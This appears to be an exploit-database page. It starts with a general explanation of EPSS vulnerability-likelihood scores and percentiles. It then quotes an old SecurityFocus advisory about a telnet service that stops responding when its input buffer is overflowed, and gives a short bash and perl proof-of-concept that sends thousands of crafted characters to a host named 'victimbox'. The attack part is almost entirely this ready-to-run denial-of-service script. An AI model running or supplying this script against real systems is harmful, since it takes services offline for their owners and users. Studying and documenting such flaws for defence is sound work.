EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

source: https://www.securityfocus.com/bid/2838/info Due to a flaw in the implementation of the telnet service, it is possible for a remote client to perform a denial of service attack against a host. If approximately 4300 characters already exist in the input buffer and additional numerous specially chosen characters are provided, the service will stop responding. #!/bin/bash ( sleep 1 perl -e '{printf "%s\x7f%s","A"x4500,"A"x100}' sleep 3 ) | telnet victimbox - eof -
